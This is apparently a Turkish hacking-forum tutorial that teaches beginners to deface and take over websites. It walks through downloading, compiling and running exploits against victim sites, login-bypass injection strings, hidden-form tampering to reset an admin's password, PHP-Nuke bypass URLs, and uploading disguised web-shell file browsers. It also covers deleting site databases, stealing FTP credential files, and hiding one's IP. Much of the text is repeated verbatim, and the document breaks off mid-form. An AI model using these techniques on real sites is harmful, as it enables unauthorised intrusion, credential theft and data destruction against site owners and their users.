Exploit meselesiyle başlayalım... Hack konusu içinde çok büyük bir önemi olan Exploitları en ince detayına kadar anlatmam mümkün değil, ama size mantığını ve konu hakkında bazı noktaları anlatacağım. (Konuyla ilgili herşey anlatılabilecek olsaydı, forumlarda "exploits/vulnerabilities" diye başlı-başına bir topic olur muydu?...).
Aslında hacklenen sitelerin büyük bir bölümünün bu yöntemle indirildiğini söyleyen arkadaşlar da yok değil. Ben buna çok da inanmamakla beraber, başarılı ve "uzun ömürlü" bir "defacer" olmak isteyenlerin mutlaka ilgilenmeleri gereken bir konu olduğunu düşünüyorum bu konunun.
Neyse... Konuya geçelim... Exploitlar sayesinde bir sitede veya bir hosting bilgisayarında en yetkili kişi olmak mümkün. Amacı bu. Sizi o sitede veya serverda en yetkili kişi (yönetici) yapmak. En yetkili kişi olunca da, o site veya serverdaki tüm siteler konusunda her istediğinizi yapabilirsiniz.
Exploitlar local ve remote olmak üzere iki şekilde yazılır. Local exploitları kullanabilmek için o hosting firmasında sizin de bir hesabınızın -yani bir sitenizin- olması gerekir. Local exploitlarla serverdaki sitelerin hepsini hackleyebilirsiniz. Remote exploitları kullanabilmek için serverda bir hesabınızın olması gerekmez, kendi bilgisayarınızda exploitu çalıştırabilirsiniz. Tüm server değil, tek siteyi deface edersiniz... Aralarındaki fark bu...
Exploitlar genelde derlenmesi gereken kodlardır. Bazen, nadiren de olsa online çalıştırabileceğiniz exploitlarda bulabilirsiniz. Meselâ aşağıda verdiğim exploit, online olarak çalıştırılabilir ve sizi PHP-Nuke 6.5 ile yapılmış sitelerde admin yapar. Link:
http://packetstormsecurity.nl/0310-exploits/php-nuke.6.5.php
Fakat çoğu exploit yukarıda verdiğim gibi online olarak, bir siteden çalıştırılamaz. Bunlar için önce hosting bilgisayarının, yani serverın hangi işletim sistemini kullandığını öğrenmelisiniz. Bunun için www.netcraft.com sitesine gidip sol üst kısımdaki yere sitenin ismini yazarsınız. search dediğiniz zaman sitenin hangi işletim sistemi üzerinde çalıştığını öğrenirsiniz. Daha sonra da bu sistemin exploitunu bulur, siteyi hacklersiniz. İşletim sistemlerine göre exploitları, exploit portalı olarak adlandırabileceğim
www.packetstormsecurity.nl , www.phreak.org/html/exploits.shtml ve hack.co.za
gibi adreslerden bulup indirirsiniz veya googleda
işletim_sisteminin_adı exploit
şeklinde aramalar yaparak istediğiniz exploitu çekebilirsiniz. Şunu da hatırlatayım; sizi bir sistemde en yetkili kişi yapan exploit, farklı sistemde işe yaramaz. Söz gelimi bir linux exploitu windows NTde iş görmez...
Exploitlar genelde .C veya .PL uzantılıdır, bazıları ise çok az da olsa online çalıştırılabilir PHP dosyalarıdır, yukarıdaki örnekteki gibi... Önce ilgili exploitu bilgisayarımıza download ediyoruz. Exploitun uzantısı .c ise bunu shellde derlememiz lazım. Shell nedir? Shell hesabı aldığınızda sürekli ve hızlı bir net bağlantısı olan bir makinede, linux komutları çalıştırabileceğiniz bir yeriniz olur. Biraz web sitesi mantığına benziyor. Web sitelerinde bir hosting alırsınız ve buraya dosyaları upload edebilirsiniz, Shellde ise aldığınız yerde Linux komutları çalıştırabilirsiniz. Aralarında böyle bir benzerlik ve fark var. Tabii Shelli daha da geniş anlatmak mümkün ama biz de zaten Shellin Linux komutu çalıştırma özelliğinden faydalanarak exploitları derleyeceğiz.
Nette bedava shelller var, fakat bu shelllerin işimize yaraması çok zor. Çünkü içerikleri geniş tutulmaz bunların... O yüzden paralı shell alınması veya bilgisayarınıza Linux kurulması gerekebilir (veya bir arkadaşınızdan Shell hesabı bulabiliyorsanız bulun derim).
"Bedava Shell veren adresler" isimli bir konuyu, baya önceleri HellRazor arkadaşımız açmıştı, exploits/vulnerabilities bölümündeki eski sayfaları karıştırırsanız bulabilirsiniz sanırım. Ben link vermiyorum burada, çünkü vereceğim link büyük ihtimalle işe yaramayacaktır.
Varsayalım ki bir yerden işimize yarayabilecek, sağlam altyapılı bir shell temin ettik. Bunlarla exploitlarımızı şöyle derleriz:
Öncelikle indirdiğimiz exploit dosyasını -ismini değiştirmeden- bir web sitesine atıyoruz, Mynet, Websamba vs. olabilir. Sonra Shell hesabımıza Putty programını kullanarak bağlanıyoruz. Bu programın amacı kısaca Shell kurulu bilgisayarlara bağlanmaktır -Hani web sitelerinin FTPsine ulaşmak için CuteFTP gibi programlar kullanıyoruz ya, bunu da bir nevi buna benzetebilirsiniz.-. Shelle bağlandıktan sonra, şu komutu yazıyoruz:
wget http://exploit u_attiginiz_site/exploit_adi.c
Bu komutla shell exploitu bünyesine çekecektir. Dosyanın çekilip çekilmediğini ls yazarak çıkan dosya listesinden exploitun ismini görürseniz anlarsınız, çekilmiş demektir. Daha sonra şunu yazmalısınız:
gcc -o exploit exploit.c
Burada shell, exploit.c dosyasını derleyecek ve derlenmiş hâlinin adını exploit yapacaktır. Daha sonra bu exploit dosyasını:
./exploit
yazarak çalıştırabilirsiniz. Bunu yazdığınızda, karşınıza gelecek ekranda Exploitun nasıl kullanılacağını anlatan yazılarla karşılaşacaksınız. Bu ekranı da okuyarak exploitun nasıl çalıştırılacağını öğrenebilirsiniz ama, genelde exploitlar:
./exploit -h hacklenecek_site
veya...
./exploit -i Hacklenecek_sitenin_IPsi
yazarak çalıştırılır. Burada yanlış anlaşılma olmasın, ./ işaretlerinden sonra exploitun ismini yazacağız. Söz gelimi exploitumuzun adı exp.c ise, gcc -o exp exp.c ve sonra da ./exp -h xxx gibi kullanmalısınız.
Bu arada server sahibi exploitun önlemini aldıysa işe yaramazlar, tabii ki.
şimdi de çok kısa olarak PERLde exploit derlemekten bahsedelim...
.PL uzantılı exploitleri derleyebilmek için öncelikle Active PERL programını download etmelisiniz. Link:
Download Perl Binaries: ActivePerl Community Edition | ActiveState
Buradaki programı download ettikten sonra kuruyoruz. Kurulumu yarıda kesmeyin. Biraz uzun sürebilir.
Kurulum bittikten sonra, hacklenecek sitenin hostunda kurulu olan sistemi öğreniyoruz ve exploitunu buluyoruz. Sonra bu exploitu cerlin klasörüne kopyalıyoruz. Bunu çalıştırmak için, MS-Dos Komut İstemini açıyoruz ve orada cerlin klasörüne geçiyoruz. ("Nasıl geçeceğim?" gibi bir soruyu kabul etmiyorum . Hiç yoktan birazcık Dos temeliniz olsun arkadaşlar. Bilgisayardan hiç çakmayan arkadaşların bu konularla uğraşması ne denli doğrudur, bilmiyorum.) Ama hadi yazayım yine de: MS-DOS Komut İstemini açtığınızda, sizi otomatikmen C:windows klasörüne atar. Burada cd..perlin yazıp enterlayın. Bu komutla o klasörü açabilirsiniz.
Burayı açtıktan sonra Perl hazır hâle geliyor. Burada, şunu yazarak exploitumuzu kullanılır hâle getiririz:
perl exploit.pl -h kurban.com
Enterlandığında, kurban serverın açıkları kapanmamışsa, sitede en yetkili kişi olursunuz. Devamı ise exploitun özelliklerine bağlı. Exploitunuz nelere izin veriyorsa, onları yapabilirsiniz. Allah yardımcınız olsun.
Exploit konusunda anlatacaklarım bu kadar. Bazı arkadaşlar belki anlamamışlardır ama başta da söylediğim gibi anlatılması, programlama dillerinin mantığından ve shell, linux gibi konulardan bîhaber arkadaşlar için çok zor. Fakat yukarıdaki bölümün size yine de bir mantık vermiş, bir şeyler anlatmış olması gerekir diye düşünüyorum. Kafanıza takılanları sorarsanız -ben dahil- yardımcı olacak pek çok arkadaş çıkacaktır emin olun...
Hack yöntemlerinden birisi de ASP ve PHP gibi dillerin açıklarından faydalanmak. Bu açıklar sizi genelde Administrator seviyesine yükselten açıklar... Siteye Admin olarak girdiğinizde de zaten istediğinizi sistemden atın, istediğinizin şifresini alın, hatta sitenin ortasına "HaCKeD BY XXX" yazın... Bu tip açıklara biraz örnek vermek gerekirse:
or= açığı: Önlemi alınmamışsa sizi administrator seviyesine yükselten bir açık. Üyelik sistemli ASP sitelerinde geçerli. Aslında sitede bir admin giriş yeri varsa ama bu sitenin direkt olarak anasayfasından ulaşılamıyorsa, yani indexte "admin girişi" diye bir yer görünmüyorsa, öncelikle site üzerinde manuel denemeler yapmalısınız. Örneğin siteadı/admin.asp , siteadi/login.asp , siteadi/forum/admin.asp , /admin/admin.asp, /admin/login.asp vs... Eğer tutturamazsanız, google.coma gidip:
admin site: siteAdı.com
şeklinde bir arama yaparsanız, google sizin için sitede admin kelimesi geçen tüm sayfaları gösterecektir. Bunun dışında, aspindir.com gibi hazır kod sitelerinden download ettiğiniz scriptleri incelerseniz, admin panelinin nerede tutulduğunu öğrenebilirsiniz. İşinize yarayabilir.
Bu bilgiden sonra, açığın nasıl kullanılacağını da kısaca yazalım. Kullanıcı adı/şifre girişi isteyen bir sitenin, bu bilgileri gireceğimiz formuna ulaşın (login form) ve aşağıdakileri ilgili kutuya yazın:
Kullanıcı adı: or=
Şifre: or=
Her iki kutucuğa da aynı şeyi yazıyoruz ve şansımız varsa sitede "hoppala" admin oluyoruz!
Formlardaki type="Hidden" değerini sömürmek: Genelde ASP destekli üyelik sistemleri üzerinde çalışan sitelerdeki bir açık. *Yasak Kelime* abi, *Yasak Kelime*hackerken bu konuda uzun bir döküman yazmıştı ("inputlar ve veri doğrulama" isminde), onu özetlemek istiyorum.
Öncelikle üyelik sistemli bir siteye üye oluyoruz. Sonra kullanıcı adımızı kullanarak login oluyoruz. Çoğu sitede login olduktan sonra "bilgilerimi düzenle", "profil düzenle" vs. linkler olur ve bu bölümden kişi kendine ait pek çok bilgisini, hatta kullanıcı adı ve şifresini bile değiştirebilir. İşte "profilimi düzenle" anlamına gelen linke tıklıyoruz ve sonra karşımıza bir form geliyor. Hemen "kaynağı görüntüle" diyoruz ve karşımıza aşağıdaki gibi bir form kaynak kodu geliyor:
<form action="guncelle.asp" method="post">
<input type="hidden" name="islenecekkullaniciadi" value="eski_kullanici_adiniz_burada_yaziyor_olmali ">
<br>Kullanıcı adı: <input type="text" name="yenikullaniciadi" value="eski_kullanici_adiniz_burada_da_yaziyor_ama _degistirilebilir">
<br>Şifreniz: <input type="password" name="yenisifre" value="Burada_sifreniz_yaziyor_olmali">
.....
<input type="submit" value="Bilgilerimi Güncelle"
</form>
Bu formda, action=".." kısmında belirtilen dosya form bilgilerini güncelleyecek olan dosyadır. <input type="hidden" yazan yerdeki kullanıcı adımız, type="submit" değerinde belirttiğimiz "Bilgilerimi Güncelle" düğmesine basıldığında actionda belirttiğimiz guncelle.asp dosyası tarafından değiştirilecek. type="text satırı ekrana bir kutucuk çıkartır ve bu örnekte bizden oraya yeni kullanıcı adımızın girilmesi isteniyor. type="Password" de ise yine ekrana bir kutucuk çıkar ve bunun içine yazılan herşey **** şeklinde görünür, şifredir çünkü. Şimdi, tekrarlayalım; örnekteki hiddenda üzerinde oynama yapılacak kullanıcı adı, textte yeni kullanıcı adı, ve passwordde de değiştirilebilir şifre yazıyor...
O zaman, biz hidden="..." bölümüne "administrator"ın sitede kullandığı nickini yazarsak, ne olur???
Adminin ismini, cismini, mail adresini, en önemlisi de kullanıcı adı ve de şifresini değiştirebiliriz!..
Kaynağı Görüntüle dediğimiz sayfanın kodlarını kopyala/yapıştırla not defterine atalım ve ilk önce action=".." daki kısmın başına -eğer yoksa-http://www.hedeftekisite.com/varsa_alt_klasör/ u ekleyelim, sonra type="hidden" name="xxx" value="xxx" yazan yere type="hidden" name="xxx" value="adminin_nicki" yazalım, veya type="hidden"ı type="text" şeklinde değiştirip, dosyayı .htm formatında kaydedelim. Eğer ikinci dediğimi yaparsanız, .htm uzantılı dosyayı çalıştırdığımızda karşımıza eski nickimizin olduğu bir kutucuk daha çıkacak, oradaki yazıyı silip adminin nickini yazmak yoluyla da bu işi hâlledebiliriz. Örneğin, oynama yaptığımızda kod şöyle olacak:
<form action="http://www.hedeftekisite.com/guncelle.asp" method="post">
<input type="hidden" name="islenecekkullaniciadi" value="Sitenin_Admininin_kullandigi_nick"> (Veya <input type="text" name="islenecekkullaniciadi" value="adminin_nickini_buraya_yaz"> )
<input type="text" name="yenikullaniciadi" value="adminin_nicki_ne_olacaksa_onu_yazın">
<input type="password" name="yenisifre" value="adminin_sifresi_ne_olacaksa_onu_yazin">
....
<input type="submit" value="Bilgilerimi Güncelle"></form>
Bilgileri, yukarıda belirttiğim şekilde değiştireceksiniz. Bu arada benim örnekte .... ile gösterdiğim yerde çeşitli kutucuklar daha olması lâzım, meselâ mail adresi, web sitesi gibi. Buraları da kendinize göre uyarlamalısınız. Tüm bunları yaptıktan sonra kaydettiğimiz ve üzerinde oynamalar yaptığımız .htm dosyasını çalıştırın, ilgili bilgileri girdikten sonra "bilgilerimi güncelle" düğmesine basın ve admin nick ve şifresini değiştirmiş olun! Geriye kalan, sadece bu değiştirdiğiniz kullanıcı adı ve şifreyle sitenin üye giriş formunu süslemek ve "gönder"e basmak...
Bu yöntemin çalışmama ihtimali var, bunun iki sebebi olabilir; birincisi bu üç-kâğıdın önlemi alınmıştır, ikincisi ise bir yanlışlık yaptınız, sitenin klasör düzeni uygunsuz veya formda ufak bir farklılık var. Bu ikinci nedeni HTML bilen arkadaşlar kolaylıkla atlatabilirler. Ben sadece örnek verdiğim için burada uzatmayacağım. Zaten anlamış olmanız lâzım...
Bir PHP-Nuke Açığı: PHP-Nuke eski versiyonlarında işleyen bir açık:
www.hedef.com/modules.php?name=Your_Account&op=userinfo&bypass=o r%20true&username=kullaniciadi
Bunu adres barınıza yazacaksınız ve sondaki kullaniciadi yerine Administratorın sitede kullandığı nicki yazacaksınız. Belki tutar, eski PHP-Nuke sürümlerinde...
Bir PHP-Nuke açığı daha: www.hedef.com/modules/forums/admin/index.php
Nadiren de olsa sizi şifresiz olarak admin paneline sokabilir. Sonrası malum...
Açıklarla hackingin temel mantığını anlamanız için bu kadar örnek yeterli. Birincisi açığını kullanacağınız dillerle ilgili iyi bir bilgi sahibi olmalısınız, ikincisi bildiklerinizi küçümsemeden -lamerlik-mamerlik demeden- yaratıcılığınızı kullanacaksınız ve üçüncüsü ise en yeni açıkları takip edeceksiniz. Bu tip açıkları, meselâ Cyber-security.org, olympos.org, * Yasak Kelime Kullandınız *.org, securityfocus.com gibi "Ben güvenlik portalıyım" diyen yerlerden öğrenebilirsiniz, çünkü bu siteler "bakın... böyle böyle bir açık var, bunu kapatmazsanız şöyle-böyle olur, o yüzden şu açığı şu şekilde kapatın" derken, aynı zamanda açığında ne olduğunu dile getirdiklerinden, çok faydalı olabilirler)...
Bir başka hack yöntemi ise Listpath kullanmaktır. Bunlar, serverdaki klasör ve dosyaları görmemizi, onlar arasında dolaşmamızı ve onlar üzerinde bazı işlemler yapmamızı sağlayan ASP veya PHP dosyalarıdır. Bu dosyaları sitenin hostingine bir şekilde sızdırırız. Eğer hosting bilgisayarında, yani serverda FileSystemObject açığı varsa (tabii ki windows sistemlerde bu açık olabilir, linuxta başka isimler alır bu açık), dosya silebilir, içeriklerini değiştirebilirsiniz.
Önce bu listpathlerden birini bir bilgisayarın hostuna yutturuyoruz. Bunun bazı yöntemleri var. İşte birkaçı:
* Brinkster, Websamba vs. gibi ASP desteği veren Web Sitelerinden kendimize bir hesap, yani bir beleş web sitesi açıyoruz. Sonra bir listpath upload ediyoruz ve browserın adres kısmına yolunu yazıp çalıştırıyoruz.
* Bazı sitelerde upload özelliği vardır. googleda inurl:upload filetype:asp gibi çeşitli aramalarla ASP dosyalarını uploada izin veren yerlere listpathin adını değiştirerek upload edebiliriz (örneğin test.asp gibi. Dikkat çekmemesi için...) Upload ettikten sonra dosyanın yolunu yazar ve çalıştırırız *Yasak Kelime*i, veya diğer listpath progr*****larını...
* Hedefteki sitenin host firmasından deneme hostu alırız. Bazen gerek bile olmayabilir; zira FTP Kullanıcı adı: deneme şifre: deneme şeklinde hazır bir deneme hostu olabilir serverın bünyesinde. Neyse... Siteye whois çekildiğinde, genelde en altta yazan ns1.xxx.com , ns2.xxx.com şeklindeki yerler hosting şirketinin sitesini verir. Buradan 1 aylık deneme hostu alır ve listPathi yüklersiniz, sonra da paşa paşa çalıştırıp hostta cirit atarsınız. Ya da para verip bir host alırsınız. (ASP destekli olmak zorunda)
Bu gibi yöntemlerle listpathi upload ettikten sonra, yolunu yazarak çalıştırabiliriz. Kullanımları aslında listpathten listpathe değişir ama genelde klasörler arasında dolaşabilmek için linkler bulunur, sürücülere ulaşmak için düğmeler bulunur ve dosyaları silip değiştirmek, (hatta *Yasak Kelime*li şekerde download etmek) için linkler bulunabilir, bunları artık siz listpathten öğrenebilirsiniz. Şöyle bir göz gezdirerek, neyin ne olduğunu anlarsınız zaten.
Şimdi de birkaç bilgi vereyim yine bu konuyla ilgili. Eğer bir yere ASP listpathi yüklerseniz inetpub klasörüne ve oradan da wwwroot klasörüne gitmelisiniz. Genellikle burada tutulur sitelerin dosyaları... Eğer burada yoksa diğer dizinleri de deneyebilirsiniz. Ama elinizi mümkün olduğunca çabuk tutun ve mümkünse Proxy kullanarak IPnizi gizleyin, her ihtimale karşı...
Hacklemeyi plânladığınız bir sitenin dosyalarını silmeyi ve kendi dosyanızı upload etmeyi deneyin. Eğer olmazsa, o serverda FileSystemObject açığı yok demektir. O zaman size düşen, MDB dosyalarını bulmak. Bazı Listpathlerde (meselâ *Yasak Kelime*liŞekerde), dosya arama kutuları bulunur. Buralara mdb yazın ve çıkan dosyaları indirin. Eğer böyle bir şey yoksa sitenin klasörlerini karıştırmalısınız... Eski konularda MDBlerle ne yapabileceğinizi anlatmıştım, isterseniz 1. ve 2. bölüme geri dönüp hatırlayabilirsiniz... Şunu da söyleyeyim, MDBleri ille de download etmek zorunda değilsiniz, MDB dosyalarını silerseniz siteyi çalışmaz hâle getirrirsiniz. Bozarsınız yani...
Bunun dışında, crogram filesserv-userv-u.ini dosyasını da download edip FTP kullanıcı adı ve şifrelerine de ulaşabiliriz. Bu da aklınızda bulunsun...
Aslında en iyi ve zevkli hack yöntemi bu tip listpath programlarını kullanmaktır bence.
ASP için *Yasak Kelime*li Şeker gibi Listpathleri kullanabilirsiniz -ki en iyi ASP listpathtir diyebilirim-. Bunun dışında PHP destekleyen serverlar için yapılmış listpathlerde var. Burada link veremiyorum, yönetimden izin almaya vaktim olmadı, ama en azından isim vereyim, remView isimli bir PHP listpath var...
Evet arkadaşlar, herkesin yapabileceği, bir konu üzerinde uzmanlık ve fazlaca bilgi gerektirmeyen hacking yöntemleri kısaca bunlar. Bunlardan sonrası ise, üzerine ap-ayrı, başlı başına dökümanlar yazılabilecek uzun ve yeniler için anlaşılması zor konular. Ve bunun dışında, daha fazla ilerlemek için en azından JavaScript, ASP, PHP, CGI, PERL, C Dili, Unix/Linux, SQL, .... gibi konularda en azından temel bilginiz olması gerekiyor ki, tam anlamıyla kendinize "hacker" diyebilin. HTML zaten bilmek zorundasınız. Yoksa anlatılan bir çok şeyi anlayamamanız kuvvetle muhtemel.
Bu dökümanda size herkezin uygulayabileceği başlıca hacking yöntemlerini anlatmaya çalıştım ve mantığı kavratmak için bu kadar şey yazdım. Bundan sonrası sizin öğrendiklerinizi misyonumuz dahilinde -kesinlikle küçümsemeden- pratiğe dökmenize ve yukarıda saydığım konular hakkında bilgi toplamaya başlamanıza kalmış. Tekrar söylüyorum; öğrendiklerinizi pratiğe dökmek için çalışmanız çok önemli. ** bu konuda size önemli bir kaynaklık teşkil edecektir. Anlamadıklarınızı sormanız hâlinde size yardım edecek çok fazla insan var burada. Kıymetini bilin **'nun... Bu yöntemlerle de çok şeyler yapabilirsiniz aslına bakarsanız. Ama bilgisayar ve hacking konusunda ilerlemek isteyenlerin yukarıda saydığım konuların yanısıra programlama ile ilgili bilgi sahibi olması lazım.
Aslında hacklenen sitelerin büyük bir bölümünün bu yöntemle indirildiğini söyleyen arkadaşlar da yok değil. Ben buna çok da inanmamakla beraber, başarılı ve "uzun ömürlü" bir "defacer" olmak isteyenlerin mutlaka ilgilenmeleri gereken bir konu olduğunu düşünüyorum bu konunun.
Neyse... Konuya geçelim... Exploitlar sayesinde bir sitede veya bir hosting bilgisayarında en yetkili kişi olmak mümkün. Amacı bu. Sizi o sitede veya serverda en yetkili kişi (yönetici) yapmak. En yetkili kişi olunca da, o site veya serverdaki tüm siteler konusunda her istediğinizi yapabilirsiniz.
Exploitlar local ve remote olmak üzere iki şekilde yazılır. Local exploitları kullanabilmek için o hosting firmasında sizin de bir hesabınızın -yani bir sitenizin- olması gerekir. Local exploitlarla serverdaki sitelerin hepsini hackleyebilirsiniz. Remote exploitları kullanabilmek için serverda bir hesabınızın olması gerekmez, kendi bilgisayarınızda exploitu çalıştırabilirsiniz. Tüm server değil, tek siteyi deface edersiniz... Aralarındaki fark bu...
Exploitlar genelde derlenmesi gereken kodlardır. Bazen, nadiren de olsa online çalıştırabileceğiniz exploitlarda bulabilirsiniz. Meselâ aşağıda verdiğim exploit, online olarak çalıştırılabilir ve sizi PHP-Nuke 6.5 ile yapılmış sitelerde admin yapar. Link:
http://packetstormsecurity.nl/0310-exploits/php-nuke.6.5.php
Fakat çoğu exploit yukarıda verdiğim gibi online olarak, bir siteden çalıştırılamaz. Bunlar için önce hosting bilgisayarının, yani serverın hangi işletim sistemini kullandığını öğrenmelisiniz. Bunun için www.netcraft.com sitesine gidip sol üst kısımdaki yere sitenin ismini yazarsınız. search dediğiniz zaman sitenin hangi işletim sistemi üzerinde çalıştığını öğrenirsiniz. Daha sonra da bu sistemin exploitunu bulur, siteyi hacklersiniz. İşletim sistemlerine göre exploitları, exploit portalı olarak adlandırabileceğim
www.packetstormsecurity.nl , www.phreak.org/html/exploits.shtml ve hack.co.za
gibi adreslerden bulup indirirsiniz veya googleda
işletim_sisteminin_adı exploit
şeklinde aramalar yaparak istediğiniz exploitu çekebilirsiniz. Şunu da hatırlatayım; sizi bir sistemde en yetkili kişi yapan exploit, farklı sistemde işe yaramaz. Söz gelimi bir linux exploitu windows NTde iş görmez...
Exploitlar genelde .C veya .PL uzantılıdır, bazıları ise çok az da olsa online çalıştırılabilir PHP dosyalarıdır, yukarıdaki örnekteki gibi... Önce ilgili exploitu bilgisayarımıza download ediyoruz. Exploitun uzantısı .c ise bunu shellde derlememiz lazım. Shell nedir? Shell hesabı aldığınızda sürekli ve hızlı bir net bağlantısı olan bir makinede, linux komutları çalıştırabileceğiniz bir yeriniz olur. Biraz web sitesi mantığına benziyor. Web sitelerinde bir hosting alırsınız ve buraya dosyaları upload edebilirsiniz, Shellde ise aldığınız yerde Linux komutları çalıştırabilirsiniz. Aralarında böyle bir benzerlik ve fark var. Tabii Shelli daha da geniş anlatmak mümkün ama biz de zaten Shellin Linux komutu çalıştırma özelliğinden faydalanarak exploitları derleyeceğiz.
Nette bedava shelller var, fakat bu shelllerin işimize yaraması çok zor. Çünkü içerikleri geniş tutulmaz bunların... O yüzden paralı shell alınması veya bilgisayarınıza Linux kurulması gerekebilir (veya bir arkadaşınızdan Shell hesabı bulabiliyorsanız bulun derim).
"Bedava Shell veren adresler" isimli bir konuyu, baya önceleri HellRazor arkadaşımız açmıştı, exploits/vulnerabilities bölümündeki eski sayfaları karıştırırsanız bulabilirsiniz sanırım. Ben link vermiyorum burada, çünkü vereceğim link büyük ihtimalle işe yaramayacaktır.
Varsayalım ki bir yerden işimize yarayabilecek, sağlam altyapılı bir shell temin ettik. Bunlarla exploitlarımızı şöyle derleriz:
Öncelikle indirdiğimiz exploit dosyasını -ismini değiştirmeden- bir web sitesine atıyoruz, Mynet, Websamba vs. olabilir. Sonra Shell hesabımıza Putty programını kullanarak bağlanıyoruz. Bu programın amacı kısaca Shell kurulu bilgisayarlara bağlanmaktır -Hani web sitelerinin FTPsine ulaşmak için CuteFTP gibi programlar kullanıyoruz ya, bunu da bir nevi buna benzetebilirsiniz.-. Shelle bağlandıktan sonra, şu komutu yazıyoruz:
wget http://exploit u_attiginiz_site/exploit_adi.c
Bu komutla shell exploitu bünyesine çekecektir. Dosyanın çekilip çekilmediğini ls yazarak çıkan dosya listesinden exploitun ismini görürseniz anlarsınız, çekilmiş demektir. Daha sonra şunu yazmalısınız:
gcc -o exploit exploit.c
Burada shell, exploit.c dosyasını derleyecek ve derlenmiş hâlinin adını exploit yapacaktır. Daha sonra bu exploit dosyasını:
./exploit
yazarak çalıştırabilirsiniz. Bunu yazdığınızda, karşınıza gelecek ekranda Exploitun nasıl kullanılacağını anlatan yazılarla karşılaşacaksınız. Bu ekranı da okuyarak exploitun nasıl çalıştırılacağını öğrenebilirsiniz ama, genelde exploitlar:
./exploit -h hacklenecek_site
veya...
./exploit -i Hacklenecek_sitenin_IPsi
yazarak çalıştırılır. Burada yanlış anlaşılma olmasın, ./ işaretlerinden sonra exploitun ismini yazacağız. Söz gelimi exploitumuzun adı exp.c ise, gcc -o exp exp.c ve sonra da ./exp -h xxx gibi kullanmalısınız.
Bu arada server sahibi exploitun önlemini aldıysa işe yaramazlar, tabii ki.
şimdi de çok kısa olarak PERLde exploit derlemekten bahsedelim...
.PL uzantılı exploitleri derleyebilmek için öncelikle Active PERL programını download etmelisiniz. Link:
Download Perl Binaries: ActivePerl Community Edition | ActiveState
Buradaki programı download ettikten sonra kuruyoruz. Kurulumu yarıda kesmeyin. Biraz uzun sürebilir.
Kurulum bittikten sonra, hacklenecek sitenin hostunda kurulu olan sistemi öğreniyoruz ve exploitunu buluyoruz. Sonra bu exploitu cerlin klasörüne kopyalıyoruz. Bunu çalıştırmak için, MS-Dos Komut İstemini açıyoruz ve orada cerlin klasörüne geçiyoruz. ("Nasıl geçeceğim?" gibi bir soruyu kabul etmiyorum . Hiç yoktan birazcık Dos temeliniz olsun arkadaşlar. Bilgisayardan hiç çakmayan arkadaşların bu konularla uğraşması ne denli doğrudur, bilmiyorum.) Ama hadi yazayım yine de: MS-DOS Komut İstemini açtığınızda, sizi otomatikmen C:windows klasörüne atar. Burada cd..perlin yazıp enterlayın. Bu komutla o klasörü açabilirsiniz.
Burayı açtıktan sonra Perl hazır hâle geliyor. Burada, şunu yazarak exploitumuzu kullanılır hâle getiririz:
perl exploit.pl -h kurban.com
Enterlandığında, kurban serverın açıkları kapanmamışsa, sitede en yetkili kişi olursunuz. Devamı ise exploitun özelliklerine bağlı. Exploitunuz nelere izin veriyorsa, onları yapabilirsiniz. Allah yardımcınız olsun.
Exploit konusunda anlatacaklarım bu kadar. Bazı arkadaşlar belki anlamamışlardır ama başta da söylediğim gibi anlatılması, programlama dillerinin mantığından ve shell, linux gibi konulardan bîhaber arkadaşlar için çok zor. Fakat yukarıdaki bölümün size yine de bir mantık vermiş, bir şeyler anlatmış olması gerekir diye düşünüyorum. Kafanıza takılanları sorarsanız -ben dahil- yardımcı olacak pek çok arkadaş çıkacaktır emin olun...
Hack yöntemlerinden birisi de ASP ve PHP gibi dillerin açıklarından faydalanmak. Bu açıklar sizi genelde Administrator seviyesine yükselten açıklar... Siteye Admin olarak girdiğinizde de zaten istediğinizi sistemden atın, istediğinizin şifresini alın, hatta sitenin ortasına "HaCKeD BY XXX" yazın... Bu tip açıklara biraz örnek vermek gerekirse:
or= açığı: Önlemi alınmamışsa sizi administrator seviyesine yükselten bir açık. Üyelik sistemli ASP sitelerinde geçerli. Aslında sitede bir admin giriş yeri varsa ama bu sitenin direkt olarak anasayfasından ulaşılamıyorsa, yani indexte "admin girişi" diye bir yer görünmüyorsa, öncelikle site üzerinde manuel denemeler yapmalısınız. Örneğin siteadı/admin.asp , siteadi/login.asp , siteadi/forum/admin.asp , /admin/admin.asp, /admin/login.asp vs... Eğer tutturamazsanız, google.coma gidip:
admin site: siteAdı.com
şeklinde bir arama yaparsanız, google sizin için sitede admin kelimesi geçen tüm sayfaları gösterecektir. Bunun dışında, aspindir.com gibi hazır kod sitelerinden download ettiğiniz scriptleri incelerseniz, admin panelinin nerede tutulduğunu öğrenebilirsiniz. İşinize yarayabilir.
Bu bilgiden sonra, açığın nasıl kullanılacağını da kısaca yazalım. Kullanıcı adı/şifre girişi isteyen bir sitenin, bu bilgileri gireceğimiz formuna ulaşın (login form) ve aşağıdakileri ilgili kutuya yazın:
Kullanıcı adı: or=
Şifre: or=
Her iki kutucuğa da aynı şeyi yazıyoruz ve şansımız varsa sitede "hoppala" admin oluyoruz!
Formlardaki type="Hidden" değerini sömürmek: Genelde ASP destekli üyelik sistemleri üzerinde çalışan sitelerdeki bir açık. *Yasak Kelime* abi, *Yasak Kelime*hackerken bu konuda uzun bir döküman yazmıştı ("inputlar ve veri doğrulama" isminde), onu özetlemek istiyorum.
Öncelikle üyelik sistemli bir siteye üye oluyoruz. Sonra kullanıcı adımızı kullanarak login oluyoruz. Çoğu sitede login olduktan sonra "bilgilerimi düzenle", "profil düzenle" vs. linkler olur ve bu bölümden kişi kendine ait pek çok bilgisini, hatta kullanıcı adı ve şifresini bile değiştirebilir. İşte "profilimi düzenle" anlamına gelen linke tıklıyoruz ve sonra karşımıza bir form geliyor. Hemen "kaynağı görüntüle" diyoruz ve karşımıza aşağıdaki gibi bir form kaynak kodu geliyor:
<form action="guncelle.asp" method="post">
<input type="hidden" name="islenecekkullaniciadi" value="eski_kullanici_adiniz_burada_yaziyor_olmali ">
<br>Kullanıcı adı: <input type="text" name="yenikullaniciadi" value="eski_kullanici_adiniz_burada_da_yaziyor_ama _degistirilebilir">
<br>Şifreniz: <input type="password" name="yenisifre" value="Burada_sifreniz_yaziyor_olmali">
.....
<input type="submit" value="Bilgilerimi Güncelle"
</form>
